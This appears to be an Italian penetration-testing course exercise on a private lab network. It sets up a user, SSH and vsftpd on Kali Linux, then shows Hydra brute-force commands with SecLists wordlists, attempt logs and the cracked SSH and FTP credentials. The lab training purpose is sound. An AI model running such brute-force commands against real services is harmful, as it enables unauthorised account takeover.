

# W14D4

## Creazione nuovo utente

```
root@kali: /home/kali/Desktop
File Actions Edit View Help
(kali@kali)-[~/Desktop]
$ sudo su
[sudo] password for kali:
(root@kali)-[/home/kali/Desktop]
# sudo adduser test_user
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...
(root@kali)-[/home/kali/Desktop]
#
```

## Attivazione servizio SSH

```
root@kali: /home/kali/Desktop
File Actions Edit View Help
(root@kali)-[/home/kali/Desktop]
# sudo service ssh start

(root@kali)-[/home/kali/Desktop]
#
```

## File configurazione SSH (invariato)

```
root@kali: /home/kali/Desktop
GNU nano 8.1 /etc/ssh/sshd_config

# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/local/bin:/usr/bin:/bin:/usr/games

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the
# default value.

Include /etc/ssh/sshd_config.d/*.conf

#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key

# Ciphers and keying
#RekeyLimit default none

# Logging
#SyslogFacility AUTH

[ Read 122 lines ]
^G Help      ^O Write Out  ^F Where Is   ^K Cut        ^T Execute    ^C Location   M-U Undo
^X Exit      ^R Read File  ^\ Replace    ^U Paste      ^J Justify    ^_ Go To Line  M-E Redo
```

## Test SSH nuovo utente

```
test_user@kali: ~
File Actions Edit View Help

(test_user@kali)~/home/kali/Desktop
# ssh test_user@192.168.50.100
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.
ED25519 key fingerprint is SHA256:GNg/28LR5LIovagrPRk39C6vVuqeEpB+pR04mN6kN6k.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.
test_user@192.168.50.100's password:
Linux kali 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-kali2 (2024-05-30) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user@kali)~$
```

## Comando Hydra

```
root@kali: /home/kali/Desktop
File Actions Edit View Help

(test_user@kali)~/home/kali/Desktop
# hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt 192.168.50.100 -t4 ssh
```

## Hydra tentativi brute force

```
root@kali: /home/kali/Desktop
File Actions Edit View Help
0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "123456789" - 5 of 43048882131570 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "12345" - 6 of 43048882131570 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "1234" - 7 of 43048882131570 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "111111" - 8 of 43048882131570 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "1234567" - 9 of 43048882131570 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "dragon" - 10 of 43048882131570 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "123123" - 11 of 43048882131570 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "baseball" - 12 of 43048882131570 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "abc123" - 13 of 43048882131570 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "football" - 14 of 43048882131570 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "monkey" - 15 of 43048882131570 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "letmein" - 16 of 43048882131570 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "696969" - 17 of 43048882131570 [child 0] (0/0)
```

## Password SSH trovata

```
ild 1] (0/0)
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
[ATTEMPT] target 192.168.50.100 - login "info" - pass "123456" - 5189458 of 43048912207392 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "password" - 5189459 of 43048912207392 [child 2] (0/0)
```

## Installazione vsftpd

```
root@kali: /home/kali/Desktop
File Actions Edit View Help
(root@kali)-[/home/kali/Desktop]
# sudo apt install vsftpd
The following packages were automatically installed and are no longer required:
libabsl20220623 libopenblas-pthread-dev linux-image-6.6.9-amd64 python3-pyatspi
libadwaita-1-0 libopenblas0 openjdk-21-jre python3-pypdf2
libaio1 libpmem1 openjdk-21-jre-headless python3-pyppeteer
libatk-adaptor libpthread-stubs0-dev python3-all-dev python3-pyrsistent
libboost-dev libpython3-all-dev python3-anyjson python3-pythrane
libboost1.83-dev libpython3.12 python3-beniget python3-pytzdata
libdaxctl1 libpython3.12-dev python3-diskcache python3.12-dev
libphoto2-l10n libre2-10 python3-editables xtl-dev
libndctl6 libtirpc-dev python3-gast zenity
libnsl-dev libunibreak5 python3-mistune0 zenity-common
```

## Attivazione servizio vsftpd

```
root@kali: /home/kali
File Actions Edit View Help
(root@kali)-[/home/kali/Desktop]
# sudo service vsftpd start

(root@kali)-[/home/kali/Desktop]
#
```

Facoltativo :

Comando hydra servizio ftp matasploit

```
root@kali: /home/kali/Desktop
File Actions Edit View Help
(root@kali)-[/home/kali/Desktop]
# hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt 192.168.50.101 -t4 ftp -V
```

Pasword ftp trovata

```
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "mustang" - 28 of 43048925692306 [child 3] (0/0)
[21][ftp] host: 192.168.50.101 login: msfadmin password: msfadmin
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "" - 5189459 of 43048925692306 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "123456" - 5189460 of 43048925692306 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "password" - 5189461 of 43048925692306
```